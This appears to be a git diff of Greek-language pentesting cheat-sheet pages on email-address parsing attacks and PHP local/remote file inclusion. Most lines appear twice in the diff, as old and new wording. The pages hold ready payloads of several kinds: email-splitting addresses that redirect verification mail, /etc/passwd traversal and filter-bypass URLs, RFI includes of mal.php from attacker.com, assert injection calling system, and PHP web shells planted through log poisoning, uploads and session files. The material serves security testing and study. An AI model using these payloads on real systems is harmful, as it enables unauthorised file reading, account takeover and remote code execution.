> Σημειώστε ότι αν καταφέρετε να δημιουργήσετε έναν λογαριασμό σε μια υπηρεσία με αυθαίρετο όνομα τομέα (όπως Github, Gitlab, CloudFlare Zero trust...) και να τον επαληθεύσετε λαμβάνοντας το email επιβεβαίωσης στη διεύθυνση email σας, μπορεί να μπορέσετε να αποκτήσετε πρόσβαση σε ευαίσθητες τοποθεσίες της εταιρείας-θύματος
### Αγνοημένα μέρη ενός email
Οι συμβολισμοί: **+, -** και **{}** σε σπάνιες περιπτώσεις μπορούν να χρησιμοποιηθούν για σήμανση και αγνοούνται από τους περισσότερους διακομιστές email.
Οι συμβολισμοί: **+, -** και **{}** σε σπάνιες περιπτώσεις μπορούν να χρησιμοποιηθούν για σήμανση και αγνοούνται από τους περισσότερους διακομιστές email
- Π.χ. john.doe+intigriti@example.com → john.doe@example.com
**Σχόλια μέσα σε παρενθέσεις ()** στην αρχή ή στο τέλος θα αγνοηθούν επίσης.
**Σχόλια μέσα σε παρενθέσεις ()** στην αρχή ή στο τέλος θα αγνοηθούν επίσης
- Π.χ. john.doe(intigriti)@example.com → john.doe@example.com
@ -98,12 +98,12 @@ Parameter #4 [ <optional> $additional_parameters ]
Όπως εξηγήθηκε σε [**αυτή την έρευνα**](https://portswigger.net/research/splitting-the-email-atom), τα ονόματα email μπορούν επίσης να περιέχουν κωδικοποιημένους χαρακτήρες:
- **PHP 256 overflow**: Η λειτουργία PHP `chr` θα συνεχίσει να προσθέτει 256 σε έναν χαρακτήρα μέχρι να γίνει θετικός και στη συνέχεια να εκτελέσει την επιχείρηση `%256`.
- **PHP 256 overflow**: Η λειτουργία PHP `chr` θα συνεχίσει να προσθέτει 256 σε έναν χαρακτήρα μέχρι να γίνει θετικός και στη συνέχεια να εκτελέσει την ενέργεια `%256`.
- `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
> [!TIP]
> Ο στόχος αυτού του κόλπου είναι να καταλήξει με μια εισαγωγή όπως `RCPT TO:<"collab@psres.net>collab"@example.com>`\
> που θα στείλει το email επιβεβαίωσης σε μια διαφορετική διεύθυνση email από αυτήν που αναμενόταν (έτσι ώστε να εισαχθεί μια άλλη διεύθυνση email μέσα στο όνομα email και να σπάσει τη σύνταξη κατά την αποστολή του email).
> Ο στόχος αυτού του κόλπου είναι να καταλήξετε με μια εισαγωγή όπως `RCPT TO:<"collab@psres.net>collab"@example.com>`\
> που θα στείλει το email επιβεβαίωσης σε μια διαφορετική διεύθυνση email από την αναμενόμενη (έτσι ώστε να εισαχθεί μια άλλη διεύθυνση email μέσα στο όνομα email και να σπάσει τη σύνταξη κατά την αποστολή του email)
Διαφορετικές κωδικοποιήσεις:
```bash
@ -145,12 +145,12 @@ Payloads:
- Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
- Σημειώστε τη χρήση του υπογράμμισης ως κενό για να διαχωρίσετε τη διεύθυνση
- Θα στείλει το email επιβεβαίωσης στο `collab@psres.net`
- Punycode: Χρησιμοποιώντας Punycode ήταν δυνατό να εισαχθεί μια ετικέτα `<style` στο Joomla και να την κακοποιηθεί για να κλέψει το CSRF token μέσω CSS exfiltration.
- Punycode: Χρησιμοποιώντας Punycode ήταν δυνατό να εισαχθεί μια ετικέτα `<style` στο Joomla και να την κακοποιηθεί για να κλέψει το CSRF token μέσω CSS εξαγωγής.
#### Tooling
- Υπάρχει ένα **Burp Suite Turbo Intruder script** για να δοκιμάσετε αυτούς τους τύπους συνδυασμών για να επιτεθείτε σε μορφές email. Το script έχει ήδη πιθανά λειτουργικούς συνδυασμούς.
- Είναι επίσης δυνατό να χρησιμοποιήσετε [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) για να δημιουργήσετε μια επίθεση διαχωρισμού email
- Είναι επίσης δυνατό να χρησιμοποιήσετε το [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) για να δημιουργήσετε μια επίθεση διαχωρισμού email
### Other vulns
@ -164,20 +164,20 @@ Payloads:
### Account-Takeover
Αν μια **υπηρεσία SSO** σας επιτρέπει να **δημιουργήσετε έναν λογαριασμό χωρίς να επαληθεύσετε τη δεδομένη διεύθυνση email** (όπως **salesforce**) και στη συνέχεια μπορείτε να χρησιμοποιήσετε αυτόν τον λογαριασμό για να **συνδεθείτε σε μια διαφορετική υπηρεσία** που **εμπιστεύεται** τη salesforce, θα μπορούσατε να αποκτήσετε πρόσβαση σε οποιονδήποτε λογαριασμό.\
&#xNAN;_&#x4E;ote ότι η salesforce υποδεικνύει αν το δεδομένο email ήταν ή όχι επαληθευμένο αλλά έτσι η εφαρμογή θα πρέπει να λάβει υπόψη αυτές τις πληροφορίες._
Αν μια **υπηρεσία SSO** σας επιτρέπει να **δημιουργήσετε έναν λογαριασμό χωρίς να επαληθεύσετε τη δοθείσα διεύθυνση email** (όπως **salesforce**) και στη συνέχεια μπορείτε να χρησιμοποιήσετε αυτόν τον λογαριασμό για να **συνδεθείτε σε μια διαφορετική υπηρεσία** που **εμπιστεύεται** τη salesforce, θα μπορούσατε να αποκτήσετε πρόσβαση σε οποιονδήποτε λογαριασμό.\
_&#x4E;ote ότι η salesforce υποδεικνύει αν το δοθέν email ήταν ή όχι επαληθευμένο αλλά έτσι η εφαρμογή θα πρέπει να λάβει υπόψη αυτές τις πληροφορίες._
## Reply-To
Μπορείτε να στείλετε ένα email χρησιμοποιώντας _**From: company.com**_ και _**Replay-To: attacker.com**_ και αν οποιαδήποτε **αυτόματη απάντηση** σταλεί λόγω του ότι το email στάλθηκε **από** μια **εσωτερική διεύθυνση** ο **επιτιθέμενος** μπορεί να είναι σε θέση να **λάβει** αυτήν την **απάντηση**.
Μπορείτε να στείλετε ένα email χρησιμοποιώντας _**From: company.com**_ και _**Replay-To: attacker.com**_ και αν οποιαδήποτε **αυτόματη απάντηση** σταλεί λόγω του ότι το email στάλθηκε **από** μια **εσωτερική διεύθυνση**, ο **επιτιθέμενος** μπορεί να είναι σε θέση να **λάβει** αυτήν την **απάντηση**.
## Hard Bounce Rate
Ορισμένες υπηρεσίες, όπως η AWS, εφαρμόζουν ένα όριο γνωστό ως **Hard Bounce Rate**, που συνήθως ορίζεται στο 10%. Αυτό είναι ένα κρίσιμο μέτρο, ειδικά για υπηρεσίες παράδοσης email. Όταν αυτό το ποσοστό ξεπεραστεί, η υπηρεσία, όπως η υπηρεσία email της AWS, μπορεί να ανασταλεί ή να αποκλειστεί.
Ένα **hard bounce** αναφέρεται σε ένα **email** που έχει επιστραφεί στον αποστολέα επειδή η διεύθυνση του παραλήπτη είναι άκυρη ή ανύπαρκτη. Αυτό μπορεί να συμβεί για διάφορους λόγους, όπως το **email** να έχει σταλεί σε ανύπαρκτη διεύθυνση, σε τομέα που δεν είναι πραγματικός, ή η άρνηση του διακομιστή παραλήπτη να αποδεχτεί **emails**.
Ένα **hard bounce** αναφέρεται σε ένα **email** που έχει επιστραφεί στον αποστολέα επειδή η διεύθυνση του παραλήπτη είναι άκυρη ή ανύπαρκτη. Αυτό μπορεί να συμβεί για διάφορους λόγους, όπως το **email** να έχει σταλεί σε ανύπαρκτη διεύθυνση, σε τομέα που δεν είναι πραγματικός ή η άρνηση του διακομιστή παραλήπτη να αποδεχτεί **emails**.
Στο πλαίσιο της AWS, αν στείλετε 1000 emails και 100 από αυτά καταλήξουν σε hard bounces (λόγω λόγων όπως άκυρες διευθύνσεις ή τομείς), αυτό θα σήμαινε ποσοστό hard bounce 10%. Η επίτευξη ή η υπέρβαση αυτού του ποσοστού μπορεί να προκαλέσει την AWS SES (Simple Email Service) να αποκλείσει ή να αναστείλει τις δυνατότητες αποστολής email σας.
Στο πλαίσιο της AWS, αν στείλετε 1000 emails και 100 από αυτά έχουν ως αποτέλεσμα hard bounces (λόγω λόγων όπως άκυρες διευθύνσεις ή τομείς), αυτό θα σήμαινε ποσοστό hard bounce 10%. Η επίτευξη ή η υπέρβαση αυτού του ποσοστού μπορεί να προκαλέσει την AWS SES (Απλή Υπηρεσία Email) να αποκλείσει ή να αναστείλει τις δυνατότητες αποστολής email σας.
Είναι κρίσιμο να διατηρείτε ένα χαμηλό ποσοστό hard bounce για να εξασφαλίσετε αδιάλειπτη υπηρεσία email και να διατηρήσετε τη φήμη του αποστολέα. Η παρακολούθηση και η διαχείριση της ποιότητας των διευθύνσεων email στις λίστες αποστολής σας μπορεί να βοηθήσει σημαντικά στην επίτευξη αυτού.

View File

@ -7,7 +7,7 @@
**Remote File Inclusion (RFI):** Το αρχείο φορτώνεται από έναν απομακρυσμένο διακομιστή (Καλύτερα: Μπορείτε να γράψετε τον κώδικα και ο διακομιστής θα τον εκτελέσει). Στο php αυτό είναι **απενεργοποιημένο** από προεπιλογή (**allow_url_include**).\
**Local File Inclusion (LFI):** Ο διακομιστής φορτώνει ένα τοπικό αρχείο.
Η ευπάθεια συμβαίνει όταν ο χρήστης μπορεί να ελέγξει με κάποιον τρόπο το αρχείο που πρόκειται να φορτωθεί από τον διακομιστή.
Η ευπάθεια εμφανίζεται όταν ο χρήστης μπορεί να ελέγξει με κάποιον τρόπο το αρχείο που πρόκειται να φορτωθεί από τον διακομιστή.
Ευάλωτες **PHP συναρτήσεις**: require, require_once, include, include_once
@ -84,9 +84,9 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Εξερεύνηση Καταλόγων Συστήματος Αρχείων σε έναν Διακομιστή
Το σύστημα αρχείων ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν κατάλογοι, όχι μόνο αρχεία, χρησιμοποιώντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους του καταλόγου και την έρευνα για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω παρατίθεται μια λεπτομερής μέθοδος για να το επιτύχετε αυτό:
Το σύστημα αρχείων ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν κατάλογοι, όχι μόνο αρχεία, χρησιμοποιώντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους του καταλόγου και την έρευνα για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω παρατίθεται μια λεπτομερής μέθοδος για να επιτευχθεί αυτό:
1. **Προσδιορίστε το Βάθος του Καταλόγου:** Διαπιστώστε το βάθος του τρέχοντος καταλόγου σας ανακτώντας επιτυχώς το αρχείο `/etc/passwd` (ισχύει αν ο διακομιστής είναι βασισμένος σε Linux). Ένα παράδειγμα URL μπορεί να έχει τη δομή που ακολουθεί, υποδεικνύοντας βάθος τριών:
1. **Προσδιορίστε το Βάθος του Καταλόγου:** Διαπιστώστε το βάθος του τρέχοντος καταλόγου σας ανακτώντας επιτυχώς το αρχείο `/etc/passwd` (ισχύει αν ο διακομιστής είναι βασισμένος σε Linux). Ένα παράδειγμα URL μπορεί να έχει την εξής δομή, υποδεικνύοντας βάθος τριών:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
@ -95,11 +95,11 @@ http://example.com/index.php?page=../../../etc/passwd # depth of 3
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Ερμηνεία των Αποτελεσμάτων:** Η απάντηση του διακομιστή υποδεικνύει αν ο φάκελος υπάρχει:
- **Σφάλμα / Καμία Έξοδος:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στην καθορισμένη τοποθεσία.
- **Σφάλμα / Χωρίς Έξοδο:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στην καθορισμένη τοποθεσία.
- **Περιεχόμενα του `/etc/passwd`:** Η παρουσία του φακέλου `private` επιβεβαιώνεται.
4. **Αναδρομική Εξερεύνηση:** Οι ανακαλυφθέντες φάκελοι μπορούν να εξερευνηθούν περαιτέρω για υποφακέλους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή παραδοσιακές μεθόδους Local File Inclusion (LFI).
Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε το payload αναλόγως. Για παράδειγμα, για να ελέγξετε αν το `/var/www/` περιέχει έναν φάκελο `private` (υποθέτοντας ότι ο τρέχων φάκελος είναι σε βάθος 3), χρησιμοποιήστε:
Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε το payload αναλόγως. Για παράδειγμα, για να ελέγξετε αν ο φάκελος `/var/www/` περιέχει έναν φάκελο `private` (υποθέτοντας ότι ο τρέχων φάκελος είναι σε βάθος 3), χρησιμοποιήστε:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
@ -109,7 +109,7 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Στην PHP, διάφορες αναπαραστάσεις μιας διαδρομής αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, και `/etc/passwd/` θεωρούνται όλες ως η ίδια διαδρομή.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, και `/etc/passwd/` θεωρούνται όλες η ίδια διαδρομή.
- Όταν οι τελευταίοι 6 χαρακτήρες είναι `passwd`, η προσθήκη ενός `/` (κάνοντάς το `passwd/`) δεν αλλάζει το στοχευόμενο αρχείο.
- Ομοίως, αν προστεθεί `.php` σε μια διαδρομή αρχείου (όπως `shellcode.php`), η προσθήκη ενός `/.` στο τέλος δεν θα αλλάξει το αρχείο που προσπελάζεται.
@ -133,7 +133,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
**Αυτή η ευπάθεια διορθώθηκε στο PHP 5.3.**
### **Τεχνάσματα παράκαμψης φίλτρων**
### **Τεχνικές παράκαμψης φίλτρων**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -143,7 +143,7 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή γιατί **`allow_url_include`** είναι **Off.** Πρέπει να είναι **On** για να λειτουργήσει, και σε αυτή την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα αρχείο PHP από τον διακομιστή σας και να αποκτήσετε RCE:
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή **`allow_url_include`** είναι **Απενεργοποιημένο.** Πρέπει να είναι **Ενεργοποιημένο** για να λειτουργήσει, και σε αυτή την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα αρχείο PHP από τον διακομιστή σας και να αποκτήσετε RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
@ -173,7 +173,7 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
```
Είναι η προγραμματισμένη συμπεριφορά σύμφωνα με [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Αν ένα συστατικό είναι απόλυτη διαδρομή, όλα τα προηγούμενα συστατικά απορρίπτονται και η σύνδεση συνεχίζεται από το συστατικό της απόλυτης διαδρομής.
> Αν ένα συστατικό είναι απόλυτη διαδρομή, όλα τα προηγούμενα συστατικά απορρίπτονται και η ένωση συνεχίζεται από το συστατικό της απόλυτης διαδρομής.
## Java Λίστα Καταλόγων
@ -282,10 +282,10 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
- Το φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι εξαγωνικός**, έτσι μπορούμε να ξέρουμε αν ο πρώτος χαρακτήρας είναι εξαγωνικός.
- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα φίλτρα ανάλογα με το μαντεμένο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετατροπές ώστε να μην είναι πλέον εξαγωνικός χαρακτήρας. Επειδή αν είναι εξαγωνικός, το dechunk δεν θα το διαγράψει και η αρχική βόμβα θα προκαλέσει σφάλμα στο php.
- Ο κωδικοποιητής **convert.iconv.UNICODE.CP930** μετατρέπει κάθε γράμμα στο επόμενο (έτσι μετά από αυτόν τον κωδικοποιητή: α -> β). Αυτό μας επιτρέπει να ανακαλύψουμε αν το πρώτο γράμμα είναι ένα `α` για παράδειγμα, επειδή αν εφαρμόσουμε 6 από αυτόν τον κωδικοποιητή α->β->γ->δ->ε->ζ->η το γράμμα δεν είναι πλέον εξαγωνικός χαρακτήρας, επομένως το dechunk δεν το διαγράφει και το σφάλμα php προκαλείται επειδή πολλαπλασιάζεται με την αρχική βόμβα.
- Χρησιμοποιώντας άλλες μετατροπές όπως **rot13** στην αρχή είναι δυνατόν να διαρρεύσουν άλλοι χαρακτήρες όπως ν, ο, π, q, ρ (και άλλοι κωδικοποιητές μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στην περιοχή των εξαγωνικών).
- Χρησιμοποιώντας άλλες μετατροπές όπως **rot13** στην αρχή είναι δυνατόν να διαρρεύσουν άλλοι χαρακτήρες όπως ν, ο, π, q, ρ (και άλλοι κωδικοποιητές μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλους χαρακτήρες στην περιοχή των εξαγωνικών).
- Όταν ο αρχικός χαρακτήρας είναι αριθμός, είναι απαραίτητο να τον κωδικοποιήσετε σε base64 και να διαρρεύσετε τα 2 πρώτα γράμματα για να διαρρεύσετε τον αριθμό.
- Το τελικό πρόβλημα είναι να δούμε **πώς να διαρρεύσουμε περισσότερα από το αρχικό γράμμα**. Χρησιμοποιώντας φίλτρα μνήμης σειράς όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατόν να αλλάξουμε τη σειρά των χαρακτήρων και να αποκτήσουμε στην πρώτη θέση άλλα γράμματα του κειμένου.
- Και προκειμένου να μπορέσουμε να αποκτήσουμε **περισσότερα δεδομένα** η ιδέα είναι να **παράγουμε 2 bytes σκουπιδιών στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** για να το **στραφούμε με τα επόμενα 2 bytes**, και να **διαγράψουμε τα δεδομένα μέχρι τα σκουπίδια** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε να το κάνετε αυτό μέχρι να φτάσετε στο επιθυμητό bit για διαρροή.
- Το τελικό πρόβλημα είναι να δούμε **πώς να διαρρεύσουμε περισσότερα από το αρχικό γράμμα**. Χρησιμοποιώντας φίλτρα μνήμης σειράς όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατόν να αλλάξουμε τη σειρά των χαρακτήρων και να αποκτήσουμε στην πρώτη θέση άλλους χαρακτήρες του κειμένου.
- Και προκειμένου να μπορέσουμε να αποκτήσουμε **περισσότερα δεδομένα** η ιδέα είναι να **παράγουμε 2 bytes σκουπιδιών στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** για να το **στραφεί με τα επόμενα 2 bytes**, και να **διαγράψουμε τα δεδομένα μέχρι τα σκουπίδια** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε να το κάνετε αυτό μέχρι να φτάσετε στο επιθυμητό bit για διαρροή.
Στην ανάρτηση διαρρεύθηκε επίσης ένα εργαλείο για να το εκτελεί αυτό αυτόματα: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
@ -371,7 +371,7 @@ phar-deserialization.md
### CVE-2024-2961
Ήταν δυνατό να καταχραστεί **οποιοδήποτε αυθαίρετο αρχείο που διαβάζεται από PHP που υποστηρίζει φίλτρα php** για να αποκτηθεί RCE. Η λεπτομερής περιγραφή μπορεί να [**βρεθεί σε αυτή την ανάρτηση**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Πολύ γρήγορη περίληψη: μια **υπερχείλιση 3 byte** στο σωρό PHP καταχράστηκε για να **αλλάξει την αλυσίδα των ελεύθερων κομματιών** συγκεκριμένου μεγέθους προκειμένου να είναι δυνατή η **γραφή οτιδήποτε σε οποιαδήποτε διεύθυνση**, έτσι προστέθηκε ένα hook για να καλέσει **`system`**.\
Πολύ γρήγορη περίληψη: μια **υπερχείλιση 3 byte** στο σωρό PHP καταχράστηκε για να **αλλάξει την αλυσίδα ελεύθερων κομματιών** συγκεκριμένου μεγέθους προκειμένου να είναι δυνατή η **γραφή οτιδήποτε σε οποιαδήποτε διεύθυνση**, έτσι προστέθηκε ένα hook για να καλέσει **`system`**.\
Ήταν δυνατό να κατανεμηθούν κομμάτια συγκεκριμένων μεγεθών καταχρώντας περισσότερα φίλτρα php.
### Περισσότερα πρωτόκολλα
@ -385,21 +385,21 @@ phar-deserialization.md
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Ροές Συμπίεσης
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Βρείτε ονόματα διαδρομών που ταιριάζουν με μοτίβο (Δεν επιστρέφει τίποτα εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ροές ήχου (Δεν είναι χρήσιμο για την ανάγνωση αυθαίρετων αρχείων)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ροές ήχου (Όχι χρήσιμο για την ανάγνωση αυθαίρετων αρχείων)
## LFI μέσω της 'assert' της PHP
Οι κίνδυνοι Local File Inclusion (LFI) στην PHP είναι ιδιαίτερα υψηλοί όταν ασχολούνται με τη συνάρτηση 'assert', η οποία μπορεί να εκτελεί κώδικα μέσα σε συμβολοσειρές. Αυτό είναι ιδιαίτερα προβληματικό αν η είσοδος που περιέχει χαρακτήρες διαδρομής καταλόγου όπως ".." ελέγχεται αλλά δεν καθαρίζεται σωστά.
Για παράδειγμα, ο PHP κώδικας μπορεί να έχει σχεδιαστεί για να αποτρέπει τη διαδρομή καταλόγου ως εξής:
Για παράδειγμα, ο κώδικας PHP μπορεί να έχει σχεδιαστεί για να αποτρέπει τη διαδρομή καταλόγου ως εξής:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Ενώ αυτό στοχεύει να σταματήσει την περιήγηση, δημιουργεί ακούσια ένα διανυσματικό σημείο για την έγχυση κώδικα. Για να εκμεταλλευτεί αυτό για την ανάγνωση περιεχομένων αρχείων, ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει:
Ενώ αυτό στοχεύει να σταματήσει την περιήγηση, δημιουργεί ακούσια ένα διάνυσμα για την εισαγωγή κώδικα. Για να εκμεταλλευτεί αυτό για την ανάγνωση περιεχομένων αρχείων, ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Ομοίως, για την εκτέλεση αυθαίρετων εντολών συστήματος, μπορεί να χρησιμοποιηθεί:
Ομοίως, για την εκτέλεση αυθαίρετων εντολών συστήματος, μπορεί κανείς να χρησιμοποιήσει:
```plaintext
' and die(system("id")) or '
```
@ -410,7 +410,7 @@ assert("strpos('$file', '..') === false") or die("");
> [!WARNING]
> Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου **ελέγχετε** τη **διαδρομή αρχείου** μιας **συνάρτησης PHP** που θα **πρόσβαση σε ένα αρχείο** αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση στη **`file()`**) αλλά το περιεχόμενο δεν εμφανίζεται.
Στο [**αυτό το απίστευτο άρθρο**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) εξηγείται πώς μπορεί να καταχραστεί μια τυφλή διαδρομή πρόσβασης μέσω φίλτρου PHP για να **εξάγει το περιεχόμενο ενός αρχείου μέσω ενός σφάλματος oracle**.
Στο [**αυτό το απίστευτο άρθρο**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) εξηγείται πώς μπορεί να καταχραστεί μια τυφλή διαδρομή πρόσβασης μέσω φίλτρου PHP για να **εξαχθεί το περιεχόμενο ενός αρχείου μέσω ενός σφάλματος oracle**.
Συνοπτικά, η τεχνική χρησιμοποιεί την **κωδικοποίηση "UCS-4LE"** για να κάνει το περιεχόμενο ενός αρχείου τόσο **μεγάλο** ώστε η **συνάρτηση PHP που ανοίγει** το αρχείο να προκαλέσει ένα **σφάλμα**.
@ -418,7 +418,7 @@ assert("strpos('$file', '..') === false") or die("");
**Συναρτήσεις που μπορεί να είναι ευάλωτες**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (μόνο για ανάγνωση με αυτό)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Για τις τεχνικές λεπτομέρειες ελέγξτε το αναφερόμενο άρθρο!
Για τις τεχνικές λεπτομέρειες, ελέγξτε το αναφερόμενο άρθρο!
## LFI2RCE
@ -435,8 +435,8 @@ assert("strpos('$file', '..') === false") or die("");
>
> Επίσης, βεβαιωθείτε ότι **γράφετε σωστά το payload** ή η PHP θα έχει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία.
Αυτό θα μπορούσε επίσης να γίνει σε άλλα αρχεία καταγραφής αλλά **προσοχή,** ο κώδικας μέσα στα αρχεία καταγραφής θα μπορούσε να είναι URL κωδικοποιημένος και αυτό θα μπορούσε να καταστρέψει το Shell. Η κεφαλίδα **authorisation "basic"** περιέχει "user:password" σε Base64 και αποκωδικοποιείται μέσα στα αρχεία καταγραφής. Το PHPShell θα μπορούσε να εισαχθεί μέσα σε αυτήν την κεφαλίδα.\
Άλλες πιθανές διαδρομές αρχείων καταγραφής:
Αυτό θα μπορούσε επίσης να γίνει σε άλλες καταγραφές αλλά **προσοχή,** ο κώδικας μέσα στις καταγραφές θα μπορούσε να είναι URL κωδικοποιημένος και αυτό θα μπορούσε να καταστρέψει το Shell. Η κεφαλίδα **authorisation "basic"** περιέχει "user:password" σε Base64 και αποκωδικοποιείται μέσα στις καταγραφές. Το PHPShell θα μπορούσε να εισαχθεί μέσα σε αυτήν την κεφαλίδα.\
Άλλες πιθανές διαδρομές καταγραφής:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -466,7 +466,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Μέσω ανέβασμα
### Via upload
Αν μπορείτε να ανεβάσετε ένα αρχείο, απλά εισάγετε το shell payload σε αυτό (π.χ : `<?php system($_GET['c']); ?>` ).
```
@ -487,7 +487,7 @@ example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
Στο PHP, αυτές οι συνεδρίες αποθηκεύονται στα _/var/lib/php5/sess\\_\[PHPSESSID]\_ αρχεία.
Στο PHP, αυτές οι συνεδρίες αποθηκεύονται σε _/var/lib/php5/sess\\_\[PHPSESSID]\_ αρχεία.
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -521,7 +521,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
Αυτή η [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters για να δημιουργήσετε αυθαίρετο περιεχόμενο** ως έξοδο. Αυτό σημαίνει βασικά ότι μπορείτε να **δημιουργήσετε αυθαίρετο php code** για την συμπερίληψη **χωρίς να χρειάζεται να το γράψετε** σε ένα αρχείο.
Αυτή η [**αναφορά**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters για να δημιουργήσετε αυθαίρετο περιεχόμενο** ως έξοδο. Αυτό σημαίνει βασικά ότι μπορείτε να **δημιουργήσετε αυθαίρετο php κώδικα** για την συμπερίληψη **χωρίς να χρειάζεται να τον γράψετε** σε ένα αρχείο.
{{#ref}}
lfi2rce-via-php-filters.md
@ -529,7 +529,7 @@ lfi2rce-via-php-filters.md
### Via segmentation fault
**Ανεβάστε** ένα αρχείο που θα αποθηκευτεί ως **temporary** στο `/tmp`, στη συνέχεια στην **ίδια αίτηση,** προκαλέστε ένα **segmentation fault**, και τότε το **temporary file δεν θα διαγραφεί** και μπορείτε να το αναζητήσετε.
**Ανεβάστε** ένα αρχείο που θα αποθηκευτεί ως **προσωρινό** στο `/tmp`, στη συνέχεια στην **ίδια αίτηση,** προκαλέστε ένα **segmentation fault**, και τότε το **προσωρινό αρχείο δεν θα διαγραφεί** και μπορείτε να το αναζητήσετε.
{{#ref}}
lfi2rce-via-segmentation-fault.md
@ -545,7 +545,7 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
